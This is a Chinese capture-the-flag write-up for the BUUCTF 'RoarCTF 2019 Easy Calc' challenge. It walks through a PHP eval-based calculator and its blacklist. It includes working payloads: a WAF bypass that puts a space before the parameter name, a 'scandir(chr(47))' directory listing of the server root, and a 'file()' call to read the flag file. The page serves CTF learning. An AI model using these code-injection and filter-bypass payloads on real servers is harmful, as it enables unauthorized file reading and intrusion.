当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[RoarCTF 2019]Easy Calc1-flag获取、解析

解题思路

打开靶场,有个计算器类似的东西

老规矩看源码,这里贴一下核心部分

<!--I've set up WAF to ensure security.-->
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>

比较明显是做了过滤,而且提示用了WAF确保安全,这里是一个坑。然后,我们可以发现一个calc.php,并且可以传参,访问试试

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

 展示了过滤源码,过滤掉了很多字符,因此我们要绕过该过滤,并利用下面的eval执行我们想要的命令

eval('echo '.$str.';');

首先就是WAF的坑,这里我们尝试传参num,只要等于英文字符,就禁止访问 

这里需要绕过WAF,要不然执行不了注入的命令。使用的payload是空格+num传参绕过WAF

/calc.php?%20num=

 这里利用的是php的解析绕过,WAF只认num参数,那么我们加个空格或者加号,即可绕过。然后利用php解析漏洞,php解析url参数时会自动去掉空格或者加号,仍然解析成num进行传参。

然后执行

/calc.php?%20num=var_dump(scandir(chr(47)))

 

var_dump(scandir(chr(47))) 这行 PHP 代码的作用是 扫描并打印服务器根目录(/)下的所有文件和目录。下面详细分解其逻辑:

chr(47) 这里是为了绕过过滤,因为/被过滤掉了

  • chr() 函数:将 ASCII 码转换为对应字符。

  • ASCII 码 47 对应字符 /(正斜杠)。

  • 结果chr(47) 返回字符串 "/"(服务器根目录)。

scandir("/") 的作用

  • scandir() 函数:扫描指定目录,返回文件和子目录的数组。

  • 参数 "/" 表示 系统的根目录(Linux/Unix 的顶级目录)。

var_dump() 的作用

  • 输出变量的 类型和结构信息

  • 对于数组,会递归打印每个元素的 键、值、数据类型、长度

 得到

有个f1agg是我们感兴趣的

/calc.php?%20num=var_dump(file(chr(47).f1agg))

 利用file函数读取,这里需要注意使用.拼接/和f1agg形成整个字符串,因为chr(47)会输出单个字符串,不会自动与f1agg连接

总结 

有一定难度,需要了解很多函数以及waf绕过,特别是对php代码的理解。

相关文章:

  • 襄阳网站建设企业电商网站建设平台
  • 昆明做网站找哪个公司好app优化建议
  • 简约设计网站成人用品网店进货渠道
  • 资源网站模板武汉好的seo优化网
  • 做网站上凡科企业营销策划是做什么的
  • 购物网站建设 属于信息系统管理与设计么?百度网盘网页版登录入口官网
  • 部署网站需求全满足:Websoft9 多应用托管一站式方案解析
  • 本地开发Anchor智能合约:效率翻倍的秘密
  • AAAI 2025论文分享│面向生物医学的具有像素级洞察力的多模态大语言模型
  • 精品方案 | GCKontrolGCAir在汽车ECU协同开发中的应用
  • 小程序入门:跳过域名校验、跨域与 Ajax 问题解析
  • WPF中Converter基础用法
  • 众趣科技与中原地产达成VR看房技术合作,赋能房产经纪数字化转型
  • C++ 快速回顾(二)
  • heygem报错Error: Error invoking remote method ‘model/addModel‘:
  • 16.1 Python应用容器化终极指南:Dockerfile多阶段构建与安全优化实战
  • 适合初学者(kubernetes)k8s脚本安装
  • .NET测试工具Parasoft dotTEST内置安全标准,编码合规更高效
  • 基于 SpringBoot+JSP+ElementUI+jQuery 助农生鲜销售系统设计与实现
  • 使用ASIO的协程实现高并发服务器
  • 数据结构-第三节-树与二叉树
  • 《汇编语言:基于X86处理器》第5章 过程(1)
  • IDE如何快速切换JLINK版本
  • HarmonyOs开发之——TypeScript介绍、入门,及 TypeScript、JavaScript、ArkTs的具体区别解读。
  • 制药行业的精细化管理:GCOM80-2NET自动化解决方案
  • Python+selenium自动化生成测试报告